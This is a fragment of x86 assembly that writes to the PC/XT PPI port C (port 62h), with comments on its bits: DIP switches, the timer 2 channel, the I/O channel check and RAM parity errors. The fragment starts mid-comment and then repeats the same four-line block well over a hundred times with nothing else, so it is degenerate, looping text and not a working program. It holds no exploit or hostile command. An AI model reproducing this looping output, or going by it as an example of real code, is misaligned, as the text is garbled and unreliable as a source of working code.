; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
and ah, al
out 62h, al ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
